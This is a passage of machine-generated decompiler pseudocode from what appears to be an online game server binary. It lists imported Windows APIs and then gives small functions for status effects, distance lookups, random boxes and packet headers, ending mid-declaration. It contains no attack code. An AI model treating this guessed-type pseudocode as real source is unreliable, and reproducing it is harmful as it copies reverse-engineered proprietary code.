__cdecl _E4_46(); // idb void __cdecl _E15_22(); // idb void __cdecl _E18_22(); // idb void __cdecl _E21_15(); // idb void __cdecl _E24_15(); // idb void __cdecl _E27_13(); // idb void __cdecl _E30_12(); // idb void __cdecl _E33_10(); // idb void __cdecl _E36_8(); // idb void __cdecl _E39_8(); // idb void __cdecl _E42_6(); // idb void __cdecl _E45_7(); // idb void __cdecl _E48_7(); // idb void __cdecl _E51_5(); // idb void __cdecl _E54_6(); // idb void __cdecl _E57_6(); // idb void __cdecl _E60_6(); // idb void __cdecl _E63_6(); // idb void __cdecl _E66_5(); // idb void __cdecl _E69_5(); // idb void __cdecl _E72_4(); // idb void __cdecl _E75_4(); // idb void __cdecl _E78_3(); // idb void __cdecl _E81_4(); // idb void __cdecl _E84_4(); // idb void __cdecl _E87_3(); // idb void __cdecl _E90_3(); // idb void __cdecl _E93_4(); // idb void __cdecl _E96_2(); // idb void __cdecl _E99_2(); // idb void __cdecl _E102_3(); // idb void __cdecl _E6_82(); // idb void __cdecl _E9_43(); // idb void __cdecl _E12_38(); // idb void __cdecl _E105_3(); // idb void __cdecl _E108_3(); // idb void __cdecl _E2_25(); // idb void __cdecl _E10_20(); // idb void __cdecl _E13_13(); // idb void __cdecl _E16_12(); // idb void __cdecl _E19_8(); // idb void __cdecl _E22_7(); // idb void __cdecl _E25_6(); // idb void __cdecl _E28_5(); // idb void __cdecl _E31_4(); // idb void __cdecl _E34_5(); // idb void __cdecl _E37_4(); // idb void __cdecl _E40_3(); // idb void __cdecl _E43_3(); // idb void __cdecl _E46_2(); // idb void __cdecl _E49_3(); // idb void __cdecl _E52_2(); // idb void __cdecl _E55_2(); // idb void __cdecl _E58_2(); // idb void __cdecl _E61_2(); // idb void __cdecl _E64_1(); // idb void __cdecl _E67_1(); // idb void __cdecl _E70_1(); // idb void __cdecl _E73_1(); // idb void __cdecl _E76_0(); // idb void __cdecl _E79_1(); // idb void __cdecl _E82_0(); // idb void __cdecl _E85_1(); // idb void __cdecl _E88_0(); // idb void __cdecl _E91_1(); // idb void __cdecl _E94_1(); // idb void __cdecl _E97_0(); // idb void __cdecl _E100_0(); // idb void __cdecl _E103(); // idb void __cdecl _E106(); // idb void __cdecl _E109(); // idb void __cdecl _E112(); // idb void __cdecl _E115(); // idb void __cdecl _E118(); // idb void __cdecl _E121(); // idb void __cdecl _E124(); // idb void __cdecl _E127(); // idb void __cdecl _E130(); // idb void __cdecl _E133(); // idb void __cdecl _E136(); // idb void __cdecl _E139(); // idb void __cdecl _E142(); // idb void __cdecl _E145(); // idb void __cdecl _E148(); // idb void __cdecl _E151(); // idb void __cdecl _E154(); // idb void __cdecl _E157(); // idb void __cdecl _E160(); // idb void __cdecl _E163_0(); // idb void __cdecl _E166(); // idb void __cdecl _E169_0(); // idb void __cdecl _E172(); // idb void __cdecl _E175_0(); // idb void __cdecl _E178(); // idb void __cdecl _E181_0(); // idb void __cdecl _E184_0(); // idb void __cdecl _E187_0(); // idb void __cdecl _E190_0(); // idb void __cdecl _E193(); // idb void __cdecl _E196(); // idb void __cdecl _E204(); // idb void __cdecl _E210(); // idb void __cdecl _E213(); // idb void __cdecl _E216(); // idb void __cdecl _E219(); // idb void __cdecl _E222(); // idb void __cdecl _E234(); // idb void __cdecl _E237(); // idb void __cdecl _E7_19(); // idb void __cdecl _E201(); // idb void __cdecl _E207(); // idb void __cdecl _E225(); // idb void __cdecl _E228(); // idb void __cdecl _E231(); // idb int __cdecl _E296(); int __cdecl _E294(); int __cdecl _E292(); int __cdecl _E290(); int __cdecl _E288(); int __cdecl _E286(); int __cdecl _E284(); int __cdecl _E282(); int __cdecl _E280(); int __cdecl _E278(); int __cdecl _E276(); int __cdecl _E274(); int __cdecl _E272(); int __cdecl _E270(); int __cdecl _E268(); int __cdecl _E266(); int __cdecl _E264(); int __cdecl _E262(); int __cdecl _E260(); int __cdecl _E258(); int __cdecl _E256(); int __cdecl _E254(); int __cdecl _E252(); int __cdecl _E250(); int __cdecl _E248(); int __cdecl _E300(); int __cdecl _E298(); void __cdecl _E6_83(); // idb int __cdecl _E4_47(); int __cdecl _E4_48(); void __cdecl _E7_20(); // idb void __cdecl _E4_49(); // idb void __cdecl _E10_21(); // idb int __cdecl _E4_50(); int __cdecl _E2_26(); void __cdecl _E5_55(); // idb void __cdecl _E2_27(); // idb void __cdecl _E4_51(); // idb void __cdecl _E5_56(); // idb void __cdecl _E2_28(); // idb void __cdecl _E6_84(); // idb void __cdecl _E6_85(); // idb void __cdecl _E4_52(); // idb void __cdecl _E7_21(); // idb void __cdecl _E4_53(); // idb void __cdecl _E6_86(); // idb void __cdecl _E4_54(); // idb void __cdecl _E4_55(); // idb void __cdecl _E10_22(); // idb void __cdecl _E7_22(); // idb void __cdecl _E2_29(); // idb void __cdecl _E7_23(); // idb void __cdecl _E2_30(); // idb void __cdecl _E36_9(); // idb void __cdecl _E38_5(); // idb void __cdecl _E6_87(); // idb void __cdecl _E9_44(); // idb void __cdecl _E12_39(); // idb void __cdecl _E15_23(); // idb void __cdecl _E4_56(); // idb void __cdecl _E6_88(); // idb void __cdecl _E8_52(); // idb void __cdecl _E10_23(); // idb void __cdecl _E12_40(); // idb void __cdecl _E13_14(); // idb void __cdecl _E4_57(); // idb void __cdecl _E7_24(); // idb void __cdecl _E10_24(); // idb void __cdecl _E2_31(); // idb void __cdecl _E2_32(); // idb void __cdecl _E2_33(); // idb void __cdecl _E2_34(); // idb void __cdecl _E2_35(); // idb void __cdecl _E2_36(); // idb void __cdecl _E5_57(); // idb void __cdecl _E8_53(); // idb void __cdecl _E2_37(); // idb void __cdecl _E2_38(); // idb void __cdecl _E2_39(); // idb void __cdecl _E5_58(); // idb void __cdecl _E8_54(); // idb void __cdecl _E11_28(); // idb void __cdecl _E14_26(); // idb void __cdecl _E17_16(); // idb void __cdecl _E20_16(); // idb void __cdecl _E23_10(); // idb void __cdecl _E26_8(); // idb void __cdecl _E29_7(); // idb void __cdecl _E32_7(); // idb void __cdecl _E35_5(); // idb void __cdecl _E38_6(); // idb void __cdecl _E41_4(); // idb void __cdecl _E44_4(); // idb void __cdecl _E47_5(); // idb void __cdecl _E50_5(); // idb void __cdecl _E2_40(); // idb void __cdecl _E5_59(); // idb void __cdecl _E8_55(); // idb void __cdecl _E2_41(); // idb void __cdecl _E5_60(); // idb void __cdecl _E2_42(); // idb void __cdecl _E2_43(); // idb void __cdecl _E2_44(); // idb void __cdecl _E2_45(); // idb void __cdecl _E2_46(); // idb void __cdecl _E2_47(); // idb void __cdecl _E2_48(); // idb void __cdecl _E2_49(); // idb void __cdecl _E5_61(); // idb // BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable); // SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc); // BOOL __stdcall QueryServiceStatus(SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus); // BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus); // SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess); // BOOL __stdcall DeleteService(SC_HANDLE hService); // SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess); // SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword); // BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject); // LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); // LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); // LSTATUS __stdcall RegCloseKey(HKEY hKey); // void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime); // BOOL __stdcall QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency); // void __stdcall Sleep(DWORD dwMilliseconds); // void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); // BOOL __stdcall FindClose(HANDLE hFindFile); // BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData); // BOOL __stdcall DeleteFileA(LPCSTR lpFileName); // HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData); // HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); // DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); // DWORD __stdcall GetLastError(); // BOOL __stdcall FreeLibrary(HMODULE hLibModule); // HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags); // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName); // BOOL __stdcall SetEndOfFile(HANDLE hFile); // BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount); // BOOL __stdcall SetLocalTime(const SYSTEMTIME *lpSystemTime); // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize); // int __stdcall CompareStringW(LCID Locale, DWORD dwCmpFlags, PCNZWCH lpString1, int cchCount1, PCNZWCH lpString2, int cchCount2); // int __stdcall CompareStringA(LCID Locale, DWORD dwCmpFlags, PCNZCH lpString1, int cchCount1, PCNZCH lpString2, int cchCount2); // int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData); // HANDLE __stdcall GetStdHandle(DWORD nStdHandle); // BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo); // int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest); // int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest); // DWORD __stdcall GetFullPathNameA(LPCSTR lpFileName, DWORD nBufferLength, LPSTR lpBuffer, LPSTR *lpFilePart); // BOOL __stdcall CloseHandle(HANDLE hObject); // HANDLE __stdcall GetCurrentProcess(); // DWORD __stdcall GetCurrentProcessId(); // DWORD __stdcall GetCurrentThreadId(); // HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); // HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName); // LPTOP_LEVEL_EXCEPTION_FILTER __stdcall SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter); // void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime); // int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime); // BOOL __stdcall GetExitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode); // DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); // BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); // void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); // BOOL __stdcall PostQueuedCompletionStatus(HANDLE CompletionPort, DWORD dwNumberOfBytesTransferred, ULONG_PTR dwCompletionKey, LPOVERLAPPED lpOverlapped); // BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); // HANDLE __stdcall CreateIoCompletionPort(HANDLE FileHandle, HANDLE ExistingCompletionPort, ULONG_PTR CompletionKey, DWORD NumberOfConcurrentThreads); // BOOL __stdcall GetQueuedCompletionStatus(HANDLE CompletionPort, LPDWORD lpNumberOfBytesTransferred, PULONG_PTR lpCompletionKey, LPOVERLAPPED *lpOverlapped, DWORD dwMilliseconds); // BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName); // DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer); // BOOL __stdcall SetEvent(HANDLE hEvent); // HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); // int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); // int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar); // void __stdcall OutputDebugStringA(LPCSTR lpOutputString); // BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb); // BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); // LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); // int __stdcall lstrlenA(LPCSTR lpString); // HANDLE __stdcall GetCurrentThread(); // HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName); // LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); // void __stdcall SetLastError(DWORD dwErrCode); // LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value); // BOOL __stdcall SwitchToThread(); // LONG __stdcall InterlockedCompareExchange(volatile LONG *Destination, LONG Exchange, LONG Comperand); // LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend); // LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend); // DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); // BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); // DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh); // BOOL __stdcall SetEnvironmentVariableA(LPCSTR lpName, LPCSTR lpValue); // LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); // BOOL __stdcall DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); // BOOL __stdcall PathFileExistsA(LPCSTR pszPath); // int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); // int _wsprintfA(LPSTR, LPCSTR, ...); // BOOL __stdcall InternetCloseHandle(HINTERNET hInternet); // HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags); // BOOL __stdcall InternetSetOptionA(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); // HINTERNET __stdcall InternetConnectA(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext); // BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); // BOOL __stdcall InternetReadFile(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); // BOOL __stdcall HttpSendRequestA(HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength); // HINTERNET __stdcall HttpOpenRequestA(HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext); // DWORD __stdcall timeGetTime(); // int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen); // SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen); // SOCKET __stdcall socket(int af, int type, int protocol); // unsigned __int32 __stdcall inet_addr(const char *cp); // u_short __stdcall htons(u_short hostshort); // int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen); // int __stdcall WSAGetLastError(); // int __stdcall closesocket(SOCKET s); // char *__stdcall inet_ntoa(struct in_addr in); // int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout); // int __stdcall listen(SOCKET s, int backlog); // int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen); // int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp); // int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen); // int __stdcall getsockopt(SOCKET s, int level, int optname, char *optval, int *optlen); // u_short __stdcall ntohs(u_short netshort); // int __stdcall WSACleanup(); // int __stdcall shutdown(SOCKET s, int how); // int __stdcall getpeername(SOCKET s, struct sockaddr *name, int *namelen); // BOOL __stdcall MakeSureDirectoryPathExists(PCSTR DirPath); // BOOL __stdcall SymInitialize(HANDLE hProcess, PCSTR UserSearchPath, BOOL fInvadeProcess); // DWORD __stdcall SymSetOptions(DWORD SymOptions); // DWORD __stdcall SymGetOptions(); // BOOL __stdcall SymCleanup(HANDLE hProcess); // BOOL __stdcall SymGetLineFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD pdwDisplacement, PIMAGEHLP_LINE64 Line64); // BOOL __stdcall SymGetSymFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD64 pdwDisplacement, PIMAGEHLP_SYMBOL64 Symbol); // BOOL __stdcall StackWalk64(DWORD MachineType, HANDLE hProcess, HANDLE hThread, LPSTACKFRAME64 StackFrame, PVOID ContextRecord, PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine, PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine, PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine, PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress); //----- (00401000) -------------------------------------------------------- int __thiscall Name3::operator__(Name3 *this, Name3 *nm) { return *(_DWORD *)&this->n3_name[0] != *(_DWORD *)&nm->n3_name[0] || *(_DWORD *)&this->n3_name[4] != *(_DWORD *)&nm->n3_name[4] || *(_DWORD *)&this->n3_name[8] != *(_DWORD *)&nm->n3_name[8]; } //----- (00401030) -------------------------------------------------------- int __thiscall Name4::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); result = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 12) = result; return result; } //----- (00401050) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag); return condition == 0; } //----- (00401080) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag1, flag2); return condition == 0; } //----- (004010B0) -------------------------------------------------------- char *__thiscall NameString::operator__(NameString *this, Name4 *a) { unsigned int v2; // eax@1 char *result; // eax@1 v2 = this->ns_point.mask & (this->ns_point.value + 1); this->ns_point.value = v2; result = (char *)this + 256 * v2; *(_QWORD *)result = *(_QWORD *)&a->n4_name[0]; *((_QWORD *)result + 1) = *(_QWORD *)&a->n4_name[8]; result[16] = 0; return result; } //----- (004010F0) -------------------------------------------------------- void __thiscall Metronome::m_SetInterval(Metronome *this, unsigned int start, unsigned int millisecond_tick) { unsigned int v3; // edx@1 v3 = (unsigned int)(10 * millisecond_tick * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; this->m_TickInterval = v3; this->m_NextTick = start + v3; } //----- (00401120) -------------------------------------------------------- char __thiscall Metronome::operator unsigned_char(Metronome *this) { char result; // al@2 if ( clockwatch.cw_CurrTick <= this->m_NextTick ) { result = 0; } else { this->m_NextTick += this->m_TickInterval; result = 1; } return result; } //----- (00401140) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this) { return this->aeo_Strength; } //----- (00401150) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::ase_Terminate(AbnormalStateContainer::AbstateElementInObject *this) { this->aeo_Tick.terminate = clockwatch.cw_CurrTick; } //----- (00401160) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this) { return (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_6B848C + 3 * this->aeo_Index) + 36 * this->aeo_Strength + 8); } //----- (00401180) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexStrength(AbnormalStateContainer::AbstateElementInObject *this) { return (AbnormalStateDictionary::AbState::AbStateStr *)*((_DWORD *)&unk_6B848C + 3 * this->aeo_Index); } //----- (00401190) -------------------------------------------------------- char *__thiscall LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(ORErrorMessage *this) { return this->orem_Message; } //----- (004011A0) -------------------------------------------------------- List *__thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(AbnormalStateContainer::AbstateListInObject *this) { return &this->asl_List; } //----- (004011B0) -------------------------------------------------------- NETCOMMAND *__thiscall ProtocolPacket::pp_NetCommand(ProtocolPacket *this, int dep, int cmd) { NETCOMMAND *result; // eax@1 result = (NETCOMMAND *)this->pp_Buffer; *(_WORD *)this->pp_Buffer = ((_WORD)dep << 10) ^ cmd & 0x3FF; return result; } //----- (004011D0) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit) { char *v2; // ecx@3 int v3; // eax@3 unsigned __int16 result; // ax@3 if ( limit && limit <= 0x64 ) { v2 = (char *)this + 32776 * limit; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; result = *(_WORD *)&v2[2 * v3]; } else { result = 0; } return result; } //----- (00401210) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.mask; v4 = (char *)this + v2 * 32776; v5 = v3 & (*((_DWORD *)v4 + 8192) + 1); *((_DWORD *)v4 + 8192) = v5; return *(_WORD *)&v4[2 * v5]; } //----- (00401260) -------------------------------------------------------- unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int v4; // edi@1 signed int v5; // ebx@1 v3 = dx; v4 = dy; v5 = 1; while ( v3 > 1024 || v3 < -1024 || v4 > 1024 || v4 < -1024 ) { v3 /= 2; v4 /= 2; v5 *= 2; } return v5 * *(unsigned int *)((char *)&this->ddt_Table[0][v4 + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 7581496)); } //----- (004012C0) -------------------------------------------------------- char __thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int i; // edi@1 v3 = dx; for ( i = dy; v3 > 1024 || v3 < -1024 || i > 1024 || i < -1024; i /= 2 ) v3 /= 2; return *((_BYTE *)&this->ddt_Table[0][i + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 7581500)); } //----- (00401320) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this) { return *(_DWORD *)(this + 78); } //----- (00401330) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetXCoord(int this) { return **(_DWORD **)(this + 78); } //----- (00401340) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_GetYCoord(int this) { return *(_DWORD *)(*(_DWORD *)(this + 78) + 4); } //----- (00401350) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y) { return (**(_DWORD **)(this + 78) - x) * (**(_DWORD **)(this + 78) - x) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y); } //----- (00401370) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2 - *(_DWORD *)loc; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(loc + 4); return v3 * v3 + v4 * v4; } //----- (00401390) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this) { return *(_DWORD *)(this + 98); } //----- (004013A0) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( this->as_maxhandle >= sklid ) { result = &this->as_AbstateArray[sklid]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", sklid); result = 0; } return result; } //----- (004013E0) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, ABSTATEINDEX sklindex) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( (signed int)sklindex < 609 ) { result = this->as_StateIndexList[sklindex]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", sklindex); result = 0; } return result; } //----- (00401420) -------------------------------------------------------- void __thiscall AxialListNearScan::alns_Sort(AxialListNearScan *this) { qsort(this->alns_buffer, this->alns_bp, 8u, AxialListNearScan::alns_Compare); } //----- (00401440) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 631398: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (00401450) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this) { return 999999999; } //----- (00401460) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return 5000; } //----- (00401470) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; Metronome::Metronome(&this->astr_Tick); } // 6319F4: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (004014C0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { AbnormalStateContainer::AbnormalStateTickRoutine *v1; // 